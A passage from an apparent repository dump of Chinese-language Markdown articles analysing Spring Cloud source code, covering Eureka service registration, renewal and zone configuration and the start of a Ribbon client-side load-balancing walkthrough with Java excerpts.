设置`server.port=0`，当应用启动的时候会自动的分配一个随机端口，但是该方式在注册到Eureka的时候会一个问题：所有实例都使用了同样的实例名（如：`Lenovo-zhaiyc:hello-service:0`），这导致只出现了一个实例。所以，我们还需要修改实例ID的定义，让每个实例的ID不同，比如使用随机数来配置实例ID：\n\n```\nserver.port=0\neureka.instance.instance-id=${spring.application.name}:${random.int}\n```\n\n- 除了上面的方法，实际上我们还可以直接使用`random`函数来配置`server.port`。这样就可以指定端口的取值范围，比如：\n\n```\nserver.port=${random.int[10000,19999]}\n```\n\n由于默认的实例ID会由`server.port`拼接，而此时`server.port`设置的随机值会重新取一次随机数，所以使用这种方法的时候不需要重新定义实例ID的规则就能产生不同的实例ID了。"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud源码分析（一）Eureka.md",
    "content": "# Spring Cloud源码分析（一）Eureka\n\n**原创**\n\n [2016-09-22](https://blog.didispace.com/springcloud-sourcecode-eureka/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n看过之前文章的朋友们，相信已经对Eureka的运行机制已经有了一定的了解。为了更深入的理解它的运作和配置，下面我们结合源码来分别看看服务端和客户端的通信行为是如何实现的。另外写这篇文章，还有一个目的，还是希望鼓励大家能够学会学习和研究的方法，由于目前Spring Cloud的中文资料并不多，并不是大部分的问题都能找到现成的答案，所以其实很多问题给出一个科学而慎重的解答也都是花费研究者不少精力的。\n\n在看具体源码前，我们先回顾一下之前我们所实现的内容，从而找一个合适的切入口去分析。首先，服务注册中心、服务提供者、服务消费者这三个主要元素来说，后两者（也就是Eureka客户端）在整个运行机制中是大部分通信行为的主动发起者，而注册中心主要是处理请求的接收者。所以，我们可以从Eureka的客户端作为入口看看它是如何完成这些主动通信行为的。\n\n我们在将一个普通的Spring Boot应用注册到Eureka Server中，或是从Eureka Server中获取服务列表时，主要就做了两件事：\n\n- 在应用主类中配置了`@EnableDiscoveryClient`注解\n- 在`application.properties`中用`eureka.client.serviceUrl.defaultZone`参数指定了服务注册中心的位置\n\n顺着上面的线索，我们先查看`@EnableDiscoveryClient`的源码如下：\n\n```\n/**\n * Annotation to enable a DiscoveryClient implementation.\n * @author Spencer Gibb\n */\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\n@Inherited\n@Import(EnableDiscoveryClientImportSelector.class)\npublic @interface EnableDiscoveryClient {\n\n}\n```\n\n从该注解的注释我们可以知道：该注解用来开启`DiscoveryClient`的实例。通过搜索`DiscoveryClient`，我们可以发现有一个类和一个接口。通过梳理可以得到如下图的关系：\n\n[![img](https://blog.didispace.com/assets/eureka-code-1.png)](https://blog.didispace.com/assets/eureka-code-1.png)\n\n其中，左边的`org.springframework.cloud.client.discovery.DiscoveryClient`是Spring Cloud的接口，它定义了用来发现服务的常用抽象方法，而`org.springframework.cloud.netflix.eureka.EurekaDiscoveryClient`是对该接口的实现，从命名来就可以判断，它实现的是对Eureka发现服务的封装。所以`EurekaDiscoveryClient`依赖了Eureka的`com.netflix.discovery.EurekaClient`接口，`EurekaClient`继承了`LookupService`接口，他们都是Netflix开源包中的内容，它主要定义了针对Eureka的发现服务的抽象方法，而真正实现发现服务的则是Netflix包中的`com.netflix.discovery.DiscoveryClient`类。\n\n那么，我们就看看来详细看看`DiscoveryClient`类。先解读一下该类头部的注释有个总体的了解，注释的大致内容如下：\n\n```\n这个类用于帮助与Eureka Server互相协作。\n\nEureka Client负责了下面的任务：\n- 向Eureka Server注册服务实例\n- 向Eureka Server为租约续期\n- 当服务关闭期间，向Eureka Server取消租约\n- 查询Eureka Server中的服务实例列表\n\nEureka Client还需要配置一个Eureka Server的URL列表。\n```\n\n在具体研究Eureka Client具体负责的任务之前，我们先看看对Eureka Server的URL列表配置在哪里。根据我们配置的属性名：`eureka.client.serviceUrl.defaultZone`，通过`serviceUrl`我们找到该属性相关的加载属性，但是在SR5版本中它们都被`@Deprecated`标注了，并在注视中可以看到`@link`到了替代类`com.netflix.discovery.endpoint.EndpointUtils`，我们可以在该类中找到下面这个函数：\n\n```\npublic static Map<String, List<String>> getServiceUrlsMapFromConfig(\n\t\t\tEurekaClientConfig clientConfig, String instanceZone, boolean preferSameZone) {\n    Map<String, List<String>> orderedUrls = new LinkedHashMap<>();\n    String region = getRegion(clientConfig);\n    String[] availZones = clientConfig.getAvailabilityZones(clientConfig.getRegion());\n    if (availZones == null || availZones.length == 0) {\n        availZones = new String[1];\n        availZones[0] = DEFAULT_ZONE;\n    }\n\t……\n    int myZoneOffset = getZoneOffset(instanceZone, preferSameZone, availZones);\n\n    String zone = availZones[myZoneOffset];\n    List<String> serviceUrls = clientConfig.getEurekaServerServiceUrls(zone);\n    if (serviceUrls != null) {\n        orderedUrls.put(zone, serviceUrls);\n    }\n\t……\n    return orderedUrls;\n}\n```\n\n### Region、Zone\n\n在上面的函数中，我们可以发现客户端依次加载了两个内容，第一个是Region，第二个是Zone，从其加载逻上我们可以判断他们之间的关系：\n\n- 通过`getRegion`函数，我们可以看到它从配置中读取了一个Region返回，所以一个微服务应用只可以属于一个Region，如果不特别配置，就默认为default。若我们要自己设置，可以通过`eureka.client.region`属性来定义。\n\n```\npublic static String getRegion(EurekaClientConfig clientConfig) {\n    String region = clientConfig.getRegion();\n    if (region == null) {\n        region = DEFAULT_REGION;\n    }\n    region = region.trim().toLowerCase();\n    return region;\n}\n```\n\n- 通过`getAvailabilityZones`函数，我们可以知道当我们没有特别为Region配置Zone的时候，将默认采用defaultZone，这也是我们之前配置参数`eureka.client.serviceUrl.defaultZone`的由来。若要为应用指定Zone，我们可以通过`eureka.client.availability-zones`属性来进行设置。从该函数的`return`内容，我们可以Zone是可以有多个的，并且通过逗号分隔来配置。由此，我们可以判断Region与Zone是一对多的关系。\n\n```\npublic String[] getAvailabilityZones(String region) {\n\tString value = this.availabilityZones.get(region);\n\tif (value == null) {\n\t\tvalue = DEFAULT_ZONE;\n\t}\n\treturn value.split(\",\");\n}\n```\n\n### ServiceUrls\n\n在获取了Region和Zone信息之后，才开始真正加载Eureka Server的具体地址。它根据传入的参数按一定算法确定加载位于哪一个Zone配置的serviceUrls。\n\n```\nint myZoneOffset = getZoneOffset(instanceZone, preferSameZone, availZones);\nString zone = availZones[myZoneOffset];\nList<String> serviceUrls = clientConfig.getEurekaServerServiceUrls(zone);\n```\n\n具体获取serviceUrls的实现，我们可以详细查看`getEurekaServerServiceUrls`函数的具体实现类`EurekaClientConfigBean`，该类是`EurekaClientConfig`和`EurekaConstants`接口的实现，用来加载配置文件中的内容，这里有非常多有用的信息，这里我们先说一下此处我们关心的，关于`defaultZone`的信息。通过搜索`defaultZone`，我们可以很容易的找到下面这个函数，它具体实现了，如何解析该参数的过程，通过此内容，我们就可以知道，`eureka.client.serviceUrl.defaultZone`属性可以配置多个，并且需要通过逗号分隔。\n\n```\npublic List<String> getEurekaServerServiceUrls(String myZone) {\n\tString serviceUrls = this.serviceUrl.get(myZone);\n\tif (serviceUrls == null || serviceUrls.isEmpty()) {\n\t\tserviceUrls = this.serviceUrl.get(DEFAULT_ZONE);\n\t}\n\tif (!StringUtils.isEmpty(serviceUrls)) {\n\t\tfinal String[] serviceUrlsSplit = StringUtils.commaDelimitedListToStringArray(serviceUrls);\n\t\tList<String> eurekaServiceUrls = new ArrayList<>(serviceUrlsSplit.length);\n\t\tfor (String eurekaServiceUrl : serviceUrlsSplit) {\n\t\t\tif (!endsWithSlash(eurekaServiceUrl)) {\n\t\t\t\teurekaServiceUrl += \"/\";\n\t\t\t}\n\t\t\teurekaServiceUrls.add(eurekaServiceUrl);\n\t\t}\n\t\treturn eurekaServiceUrls;\n\t}\n\treturn new ArrayList<>();\n}\n```\n\n*当客户端在服务列表中选择实例进行访问时，对于Zone和Region遵循这样的规则：优先访问同自己一个Zone中的实例，其次才访问其他Zone中的实例。通过Region和Zone的两层级别定义，配合实际部署的物理结构，我们就可以有效的设计出区域性故障的容错集群。*\n\n### 服务注册\n\n在理解了多个服务注册中心信息的加载后，我们再回头看看`DiscoveryClient`类是如何实现“服务注册”行为的，通过查看它的构造类，可以找到它调用了下面这个函数：\n\n```\nprivate void initScheduledTasks() {\n    ...\n    if (clientConfig.shouldRegisterWithEureka()) {\n        ...\n        // InstanceInfo replicator\n        instanceInfoReplicator = new InstanceInfoReplicator(\n                this,\n               instanceInfo,\n                clientConfig.getInstanceInfoReplicationIntervalSeconds(),\n                2); // burstSize\n        ...\n        instanceInfoReplicator.start(clientConfig.getInitialInstanceInfoReplicationIntervalSeconds());\n    } else {\n        logger.info(\"Not registering with Eureka server per configuration\");\n    }\n}\n```\n\n在上面的函数中，我们可以看到关键的判断依据`if (clientConfig.shouldRegisterWithEureka())`。在该分支内，创建了一个`InstanceInfoReplicator`类的实例，它会执行一个定时任务，查看该类的`run()`函数了解该任务做了什么工作：\n\n```\npublic void run() {\n    try {\n        discoveryClient.refreshInstanceInfo();\n        Long dirtyTimestamp = instanceInfo.isDirtyWithTime();\n        if (dirtyTimestamp != null) {\n            discoveryClient.register();\n            instanceInfo.unsetIsDirty(dirtyTimestamp);\n        }\n    } catch (Throwable t) {\n        logger.warn(\"There was a problem with the instance info replicator\", t);\n    } finally {\n        Future next = scheduler.schedule(this, replicationIntervalSeconds, TimeUnit.SECONDS);\n        scheduledPeriodicRef.set(next);\n    }\n}\n```\n\n相信大家都发现了`discoveryClient.register();`这一行，真正触发调用注册的地方就在这里。继续查看`register()`的实现内容如下：\n\n```\nboolean register() throws Throwable {\n    logger.info(PREFIX + appPathIdentifier + \": registering service...\");\n    EurekaHttpResponse<Void> httpResponse;\n    try {\n        httpResponse = eurekaTransport.registrationClient.register(instanceInfo);\n    } catch (Exception e) {\n        logger.warn(\"{} - registration failed {}\", PREFIX + appPathIdentifier, e.getMessage(), e);\n        throw e;\n    }\n    if (logger.isInfoEnabled()) {\n        logger.info(\"{} - registration status: {}\", PREFIX + appPathIdentifier, httpResponse.getStatusCode());\n    }\n    return httpResponse.getStatusCode() == 204;\n}\n```\n\n通过属性命名，大家基本也能猜出来，注册操作也是通过REST请求的方式进行的。同时，这里我们也能看到发起注册请求的时候，传入了一个`com.netflix.appinfo.InstanceInfo`对象，该对象就是注册时候客户端给服务端的服务的元数据。\n\n### 服务获取与服务续约\n\n顺着上面的思路，我们继续来看`DiscoveryClient`的`initScheduledTasks`函数，不难发现在其中还有两个定时任务，分别是“服务获取”和“服务续约”：\n\n```\nprivate void initScheduledTasks() {\n    if (clientConfig.shouldFetchRegistry()) {\n        // registry cache refresh timer\n        int registryFetchIntervalSeconds = clientConfig.getRegistryFetchIntervalSeconds();\n        int expBackOffBound = clientConfig.getCacheRefreshExecutorExponentialBackOffBound();\n        scheduler.schedule(\n                new TimedSupervisorTask(\n                        \"cacheRefresh\",\n                        scheduler,\n                        cacheRefreshExecutor,\n                        registryFetchIntervalSeconds,\n                        TimeUnit.SECONDS,\n                        expBackOffBound,\n                        new CacheRefreshThread()\n                ),\n                registryFetchIntervalSeconds, TimeUnit.SECONDS);\n\t}\n\tif (clientConfig.shouldRegisterWithEureka()) {\n\t\tint renewalIntervalInSecs = instanceInfo.getLeaseInfo().getRenewalIntervalInSecs();\n        int expBackOffBound = clientConfig.getHeartbeatExecutorExponentialBackOffBound();\n        logger.info(\"Starting heartbeat executor: \" + \"renew interval is: \" + renewalIntervalInSecs);\n\n        // Heartbeat timer\n        scheduler.schedule(\n                new TimedSupervisorTask(\n                        \"heartbeat\",\n                        scheduler,\n                        heartbeatExecutor,\n                        renewalIntervalInSecs,\n                        TimeUnit.SECONDS,\n                        expBackOffBound,\n                        new HeartbeatThread()\n                ),\n                renewalIntervalInSecs, TimeUnit.SECONDS);\n\t\t// InstanceInfo replicator\n\t\t……\n\t}\n}\n```\n\n从源码中，我们就可以发现，“服务获取”相对于“服务续约”更为独立，“服务续约”与“服务注册”在同一个if逻辑中，这个不难理解，服务注册到Eureka Server后，自然需要一个心跳去续约，防止被剔除，所以他们肯定是成对出现的。从源码中，我们可以清楚看到了，对于服务续约相关的时间控制参数：\n\n```\neureka.instance.lease-renewal-interval-in-seconds=30\neureka.instance.lease-expiration-duration-in-seconds=90\n```\n\n而“服务获取”的逻辑在独立的一个if判断中，其判断依据就是我们之前所提到的`eureka.client.fetch-registry=true`参数，它默认是为true的，大部分情况下我们不需要关心。为了定期的更新客户端的服务清单，以保证服务访问的正确性，“服务获取”的请求不会只限于服务启动，而是一个定时执行的任务，从源码中我们可以看到任务运行中的`registryFetchIntervalSeconds`参数对应`eureka.client.registry-fetch-interval-seconds=30`配置参数，它默认为30秒。\n\n继续循序渐进的向下深入，我们就能分别发现实现“服务获取”和“服务续约”的具体方法，其中“服务续约”的实现较为简单，直接以REST请求的方式进行续约：\n\n```\nboolean renew() {\n    EurekaHttpResponse<InstanceInfo> httpResponse;\n    try {\n        httpResponse = eurekaTransport.registrationClient.sendHeartBeat(instanceInfo.getAppName(), instanceInfo.getId(), instanceInfo, null);\n        logger.debug(\"{} - Heartbeat status: {}\", PREFIX + appPathIdentifier, httpResponse.getStatusCode());\n        if (httpResponse.getStatusCode() == 404) {\n            REREGISTER_COUNTER.increment();\n            logger.info(\"{} - Re-registering apps/{}\", PREFIX + appPathIdentifier, instanceInfo.getAppName());\n            return register();\n        }\n        return httpResponse.getStatusCode() == 200;\n    } catch (Throwable e) {\n        logger.error(\"{} - was unable to send heartbeat!\", PREFIX + appPathIdentifier, e);\n        return false;\n    }\n}\n```\n\n而“服务获取”则相对复杂一些，会根据是否第一次获取发起不同的REST请求和相应的处理，具体的实现逻辑还是跟之前类似，有兴趣的读者可以继续查看服务客户端的其他具体内容，了解更多细节。\n\n### 服务注册中心处理\n\n通过上面的源码分析，可以看到所有的交互都是通过REST的请求来发起的。下面我们来看看服务注册中心对这些请求的处理。Eureka Server对于各类REST请求的定义都位于：`com.netflix.eureka.resources`包下。\n\n以“服务注册”请求为例：\n\n```\n@POST\n@Consumes({\"application/json\", \"application/xml\"})\npublic Response addInstance(InstanceInfo info,\n                  @HeaderParam(PeerEurekaNode.HEADER_REPLICATION) String isReplication) {\n    logger.debug(\"Registering instance {} (replication={})\", info.getId(), isReplication);\n    // validate that the instanceinfo contains all the necessary required fields\n    ...\n    // handle cases where clients may be registering with bad DataCenterInfo with missing data\n    DataCenterInfo dataCenterInfo = info.getDataCenterInfo();\n    if (dataCenterInfo instanceof UniqueIdentifier) {\n        String dataCenterInfoId = ((UniqueIdentifier) dataCenterInfo).getId();\n        if (isBlank(dataCenterInfoId)) {\n            boolean experimental = \"true\".equalsIgnoreCase(\n\t\t\t\t\tserverConfig.getExperimental(\"registration.validation.dataCenterInfoId\"));\n            if (experimental) {\n                String entity = \"DataCenterInfo of type \" + dataCenterInfo.getClass()\n\t\t\t\t\t\t\t\t\t\t+ \" must contain a valid id\";\n                return Response.status(400).entity(entity).build();\n            } else if (dataCenterInfo instanceof AmazonInfo) {\n                AmazonInfo amazonInfo = (AmazonInfo) dataCenterInfo;\n                String effectiveId = amazonInfo.get(AmazonInfo.MetaDataKey.instanceId);\n                if (effectiveId == null) {\n                    amazonInfo.getMetadata().put(\n\t\t\t\t\t\t\tAmazonInfo.MetaDataKey.instanceId.getName(), info.getId());\n                }\n            } else {\n                logger.warn(\"Registering DataCenterInfo of type {} without an appropriate id\",\n\t\t\t\t\t\tdataCenterInfo.getClass());\n            }\n        }\n    }\n\n    registry.register(info, \"true\".equals(isReplication));\n    return Response.status(204).build();  // 204 to be backwards compatible\n}\n```\n\n在对注册信息进行了一大堆校验之后，会调用`org.springframework.cloud.netflix.eureka.server.InstanceRegistry`对象中的`register(InstanceInfo info, int leaseDuration, boolean isReplication)`函数来进行服务注册：\n\n```\npublic void register(InstanceInfo info, int leaseDuration, boolean isReplication) {\n\tif (log.isDebugEnabled()) {\n\t\tlog.debug(\"register \" + info.getAppName() + \", vip \" + info.getVIPAddress()\n\t\t\t\t+ \", leaseDuration \" + leaseDuration + \", isReplication \"\n\t\t\t\t+ isReplication);\n\t}\n\tthis.ctxt.publishEvent(new EurekaInstanceRegisteredEvent(this, info,\n\t\t\tleaseDuration, isReplication));\n\n\tsuper.register(info, leaseDuration, isReplication);\n}\n```\n\n在注册函数中，先调用`publishEvent`函数，将该新服务注册的事件传播出去，然后调用`com.netflix.eureka.registry.AbstractInstanceRegistry`父类中的注册实现，将`InstanceInfo`中的元数据信息存储在一个`ConcurrentHashMap>>`对象中，它是一个两层Map结构，第一层的key存储服务名：`InstanceInfo`中的`appName`属性，第二层的key存储实例名：`InstanceInfo`中的`instanceId`属性。\n\n服务端的请求接收都非常类似，对于其他的服务端处理，这里就不再展开，读者可以根据上面的脉络来自己查看其内容（这里包含很多细节内容）来帮助和加深理解。"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud源码分析（二）Ribbon.md",
    "content": "# Spring Cloud源码分析（二）Ribbon\n\n**原创**\n\n [2016-10-16](https://blog.didispace.com/springcloud-sourcecode-ribbon/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n> 断断续续看Ribbon的源码差不多也有7-8天了，总算告一段落。本文记录了这些天对源码的阅读过程与一些分析理解，如有不对还请指出。\n\n## 友情提示：本文较长，请选择一个较为舒适的姿势来阅读\n\n在之前介绍使用Ribbon进行服务消费的时候，我们用到了`RestTemplate`，但是熟悉Spring的同学们是否产生过这样的疑问：`RestTemplate`不是Spring自己就有的吗？跟Ribbon的客户端负载均衡又有什么关系呢？下面在本文，我们来看`RestTemplate`和`Ribbon`是如何联系起来并实现客户端负载均衡的。\n\n首先，回顾一下之前的消费者示例：我们是如何实现客户端负载均衡的？仔细观察一下代码之前的代码，我们可以发现在消费者的例子中，可能就是这个注解`@LoadBalanced`是之前没有接触过的，并且从命名上来看也与负载均衡相关。我们不妨以此为线索来看看源码实现的机制。\n\n从`@LoadBalanced`注解源码的注释中，我们可以知道该注解用来给`RestTemplate`标记，以使用负载均衡的客户端（`LoadBalancerClient`）来配置它。\n\n通过搜索`LoadBalancerClient`，我们可以发现这是Spring Cloud中定义的一个接口：\n\n```\npublic interface LoadBalancerClient {\n\n    ServiceInstance choose(String serviceId);\n\n    <T> T execute(String serviceId, LoadBalancerRequest<T> request) throws IOException;\n\n    URI reconstructURI(ServiceInstance instance, URI original);\n\n}\n```\n\n从该接口中，我们可以通过定义的抽象方法来了解到客户端负载均衡器中应具备的几种能力：\n\n- `ServiceInstance choose(String serviceId)`：根据传入的服务名`serviceId`，从负载均衡器中挑选一个对应服务的实例。\n- `T execute(String serviceId, LoadBalancerRequest request) throws IOException`：使用从负载均衡器中挑选出的服务实例来执行请求内容。\n- `URI reconstructURI(ServiceInstance instance, URI original)`：为系统构建一个合适的“host:port”形式的URI。在分布式系统中，我们使用逻辑上的服务名称作为host来构建URI（替代服务实例的“host:port”形式）进行请求，比如：`http://myservice/path/to/service`。在该操作的定义中，前者`ServiceInstance`对象是带有host和port的具体服务实例，而后者URI对象则是使用逻辑服务名定义为host的URI，而返回的URI内容则是通过`ServiceInstance`的服务实例详情拼接出的具体“host:post”形式的请求地址。\n\n顺着`LoadBalancerClient`接口的所属包`org.springframework.cloud.client.loadbalancer`，我们对其内容进行整理，可以得出如下图的关系：\n\n[![img](https://blog.didispace.com/assets/ribbon-code-1.png)](https://blog.didispace.com/assets/ribbon-code-1.png)\n\n从类的命名上我们初步判断`LoadBalancerAutoConfiguration`为实现客户端负载均衡器的自动化配置类。通过查看源码，我们可以验证这一点假设：\n\n```\n@Configuration\n@ConditionalOnClass(RestTemplate.class)\n@ConditionalOnBean(LoadBalancerClient.class)\npublic class LoadBalancerAutoConfiguration {\n\n    @LoadBalanced\n    @Autowired(required = false)\n    private List<RestTemplate> restTemplates = Collections.emptyList();\n\n    @Bean\n    public SmartInitializingSingleton loadBalancedRestTemplateInitializer(\n            final List<RestTemplateCustomizer> customizers) {\n        return new SmartInitializingSingleton() {\n            @Override\n            public void afterSingletonsInstantiated() {\n                for (RestTemplate restTemplate : LoadBalancerAutoConfiguration.this.restTemplates) {\n                    for (RestTemplateCustomizer customizer : customizers) {\n                        customizer.customize(restTemplate);\n                    }\n                }\n            }\n        };\n    }\n\n    @Bean\n    @ConditionalOnMissingBean\n    public RestTemplateCustomizer restTemplateCustomizer(\n            final LoadBalancerInterceptor loadBalancerInterceptor) {\n        return new RestTemplateCustomizer() {\n            @Override\n            public void customize(RestTemplate restTemplate) {\n                List<ClientHttpRequestInterceptor> list = new ArrayList<>(\n                        restTemplate.getInterceptors());\n                list.add(loadBalancerInterceptor);\n                restTemplate.setInterceptors(list);\n            }\n        };\n    }\n\n    @Bean\n    public LoadBalancerInterceptor ribbonInterceptor(\n            LoadBalancerClient loadBalancerClient) {\n        return new LoadBalancerInterceptor(loadBalancerClient);\n    }\n\n}\n```\n\n从`LoadBalancerAutoConfiguration`类头上的注解可以知道Ribbon实现的负载均衡自动化配置需要满足下面两个条件：\n\n- `@ConditionalOnClass(RestTemplate.class)`：`RestTemplate`类必须存在于当前工程的环境中。\n- `@ConditionalOnBean(LoadBalancerClient.class)`：在Spring的Bean工程中有必须有`LoadBalancerClient`的实现Bean。\n\n在该自动化配置类中，主要做了下面三件事：\n\n- 创建了一个`LoadBalancerInterceptor`的Bean，用于实现对客户端发起请求时进行拦截，以实现客户端负载均衡。\n- 创建了一个`RestTemplateCustomizer`的Bean，用于给`RestTemplate`增加`LoadBalancerInterceptor`拦截器。\n- 维护了一个被`@LoadBalanced`注解修饰的`RestTemplate`对象列表，并在这里进行初始化，通过调用`RestTemplateCustomizer`的实例来给需要客户端负载均衡的`RestTemplate`增加`LoadBalancerInterceptor`拦截器。\n\n接下来，我们看看`LoadBalancerInterceptor`拦截器是如何将一个普通的`RestTemplate`变成客户端负载均衡的：\n\n```\npublic class LoadBalancerInterceptor implements ClientHttpRequestInterceptor {\n\n    private LoadBalancerClient loadBalancer;\n\n    public LoadBalancerInterceptor(LoadBalancerClient loadBalancer) {\n        this.loadBalancer = loadBalancer;\n    }\n\n    @Override\n    public ClientHttpResponse intercept(final HttpRequest request, final byte[] body,\n            final ClientHttpRequestExecution execution) throws IOException {\n        final URI originalUri = request.getURI();\n        String serviceName = originalUri.getHost();\n        return this.loadBalancer.execute(serviceName,\n                new LoadBalancerRequest<ClientHttpResponse>() {\n                    @Override\n                    public ClientHttpResponse apply(final ServiceInstance instance)\n                            throws Exception {\n                        HttpRequest serviceRequest = new ServiceRequestWrapper(request,\n                                instance);\n                        return execution.execute(serviceRequest, body);\n                    }\n                });\n    }\n\n    private class ServiceRequestWrapper extends HttpRequestWrapper {\n\n        private final ServiceInstance instance;\n\n        public ServiceRequestWrapper(HttpRequest request, ServiceInstance instance) {\n            super(request);\n            this.instance = instance;\n        }\n\n        @Override\n        public URI getURI() {\n            URI uri = LoadBalancerInterceptor.this.loadBalancer.reconstructURI(\n                    this.instance, getRequest().getURI());\n            return uri;\n        }\n    }\n}\n```\n\n通过源码以及之前的自动化配置类，我们可以看到在拦截器中注入了`LoadBalancerClient`的实现。当一个被`@LoadBalanced`注解修饰的`RestTemplate`对象向外发起HTTP请求时，会被`LoadBalancerInterceptor`类的`intercept`函数所拦截。由于我们在使用RestTemplate时候采用了服务名作为host，所以直接从`HttpRequest`的URI对象中通过getHost()就可以拿到服务名，然后调用`execute`函数去根据服务名来选择实例并发起实际的请求。\n\n分析到这里，`LoadBalancerClient`还只是一个抽象的负载均衡器接口，所以我们还需要找到它的具体实现类来进一步分析。通过查看ribbon的源码，我们可以很容易的在`org.springframework.cloud.netflix.ribbon`包下找到对应的实现类：`RibbonLoadBalancerClient`。\n\n```\npublic <T> T execute(String serviceId, LoadBalancerRequest<T> request) throws IOException {\n    ILoadBalancer loadBalancer = getLoadBalancer(serviceId);\n    Server server = getServer(loadBalancer);\n    if (server == null) {\n        throw new IllegalStateException(\"No instances available for \" + serviceId);\n    }\n    RibbonServer ribbonServer = new RibbonServer(serviceId, server, isSecure(server,\n            serviceId), serverIntrospector(serviceId).getMetadata(server));\n\n    RibbonLoadBalancerContext context = this.clientFactory\n            .getLoadBalancerContext(serviceId);\n    RibbonStatsRecorder statsRecorder = new RibbonStatsRecorder(context, server);\n\n    try {\n        T returnVal = request.apply(ribbonServer);\n        statsRecorder.recordStats(returnVal);\n        return returnVal;\n    }\n    catch (IOException ex) {\n        statsRecorder.recordStats(ex);\n        throw ex;\n    }\n    catch (Exception ex) {\n        statsRecorder.recordStats(ex);\n        ReflectionUtils.rethrowRuntimeException(ex);\n    }\n    return null;\n}\n```\n\n可以看到，在`execute`函数的实现中，第一步做的就是通过`getServer`根据传入的服务名`serviceId`去获得具体的服务实例：\n\n```\nprotected Server getServer(ILoadBalancer loadBalancer) {\n    if (loadBalancer == null) {\n        return null;\n    }\n    return loadBalancer.chooseServer(\"default\");\n}\n```\n\n通过`getServer`函数的实现源码，我们可以看到这里获取具体服务实例的时候并没有使用`LoadBalancerClient`接口中的`choose`函数，而是使用了ribbon自身的`ILoadBalancer`接口中定义的`chooseServer`函数。\n\n我们先来认识一下`ILoadBalancer`接口：\n\n```\npublic interface ILoadBalancer {\n\n    public void addServers(List<Server> newServers);\n\n    public Server chooseServer(Object key);\n\n    public void markServerDown(Server server);\n\n    public List<Server> getReachableServers();\n\n    public List<Server> getAllServers();\n}\n```\n\n可以看到，在该接口中定义了一个软负载均衡器需要的一系列抽象操作（未例举过期函数）：\n\n- `addServers`：向负载均衡器中维护的实例列表增加服务实例。\n- `chooseServer`：通过某种策略，从负载均衡器中挑选出一个具体的服务实例。\n- `markServerDown`：用来通知和标识负载均衡器中某个具体实例已经停止服务，不然负载均衡器在下一次获取服务实例清单前都会认为服务实例均是正常服务的。\n- `getReachableServers`：获取当前正常服务的实例列表。\n- `getAllServers`：获取所有已知的服务实例列表，包括正常服务和停止服务的实例。\n\n在该接口定义中涉及到的`Server`对象定义的是一个传统的服务端节点，在该类中存储了服务端节点的一些元数据信息，包括：host、port以及一些部署信息等。\n\n[![img](https://blog.didispace.com/assets/ribbon-code-2.png)](https://blog.didispace.com/assets/ribbon-code-2.png)\n\n而对于该接口的实现，我们可以整理出如上图所示的结构。我们可以看到`BaseLoadBalancer`类实现了基础的负载均衡，而`DynamicServerListLoadBalancer`和`ZoneAwareLoadBalancer`在负载均衡的策略上做了一些功能的扩展。\n\n那么在整合Ribbon的时候Spring Cloud默认采用了哪个具体实现呢？我们通过`RibbonClientConfiguration`配置类，可以知道在整合时默认采用了`ZoneAwareLoadBalancer`来实现负载均衡器。\n\n```\n@Bean\n@ConditionalOnMissingBean\npublic ILoadBalancer ribbonLoadBalancer(IClientConfig config,\n        ServerList<Server> serverList, ServerListFilter<Server> serverListFilter,\n        IRule rule, IPing ping) {\n    ZoneAwareLoadBalancer<Server> balancer = LoadBalancerBuilder.newBuilder()\n            .withClientConfig(config).withRule(rule).withPing(ping)\n            .withServerListFilter(serverListFilter).withDynamicServerList(serverList)\n            .buildDynamicServerListLoadBalancer();\n    return balancer;\n}\n```\n\n下面，我们再回到`RibbonLoadBalancerClient`的`execute`函数逻辑，在通过`ZoneAwareLoadBalancer`的`chooseServer`函数获取了负载均衡策略分配到的服务实例对象`Server`之后，将其内容包装成`RibbonServer`对象（该对象除了存储了服务实例的信息之外，还增加了服务名serviceId、是否需要使用HTTPS等其他信息），然后使用该对象再回调`LoadBalancerInterceptor`请求拦截器中`LoadBalancerRequest`的`apply(final ServiceInstance instance)`函数，向一个实际的具体服务实例发起请求，从而实现一开始以服务名为host的URI请求，到实际访问host:post形式的具体地址的转换。\n\n`apply(final ServiceInstance instance)`函数中传入的`ServiceInstance`接口是对服务实例的抽象定义。在该接口中暴露了服务治理系统中每个服务实例需要提供的一些基本信息，比如：serviceId、host、port等，具体定义如下：\n\n```\npublic interface ServiceInstance {\n\n    String getServiceId();\n\n    String getHost();\n\n    int getPort();\n\n    boolean isSecure();\n\n    URI getUri();\n\n    Map<String, String> getMetadata();\n}\n```\n\n而上面提到的具体包装`Server`服务实例的`RibbonServer`对象就是`ServiceInstance`接口的实现，可以看到它除了包含了`Server`对象之外，还存储了服务名、是否使用https标识以及一个Map类型的元数据集合。\n\n```\nprotected static class RibbonServer implements ServiceInstance {\n\n    private final String serviceId;\n    private final Server server;\n    private final boolean secure;\n    private Map<String, String> metadata;\n\n    protected RibbonServer(String serviceId, Server server) {\n        this(serviceId, server, false, Collections.<String, String> emptyMap());\n    }\n\n    protected RibbonServer(String serviceId, Server server, boolean secure,\n            Map<String, String> metadata) {\n        this.serviceId = serviceId;\n        this.server = server;\n        this.secure = secure;\n        this.metadata = metadata;\n    }\n\n    // 省略实现ServiceInstance的一些获取Server信息的get函数\n    ...\n}\n```\n\n那么`apply(final ServiceInstance instance)`函数，在接收到了具体`ServiceInstance`实例后，是如何通过`LoadBalancerClient`接口中的`reconstructURI`操作来组织具体请求地址的呢？\n\n```\n@Override\npublic ClientHttpResponse apply(final ServiceInstance instance)\n            throws Exception {\n    HttpRequest serviceRequest = new ServiceRequestWrapper(request, instance);\n    return execution.execute(serviceRequest, body);\n}\n```\n\n从`apply`的实现中，我们可以看到它具体执行的时候，还传入了`ServiceRequestWrapper`对象，该对象继承了`HttpRequestWrapper`并重写了`getURI`函数，重写后的`getURI`会通过调用`LoadBalancerClient`接口的`reconstructURI`函数来重新构建一个URI来进行访问。\n\n```\nprivate class ServiceRequestWrapper extends HttpRequestWrapper 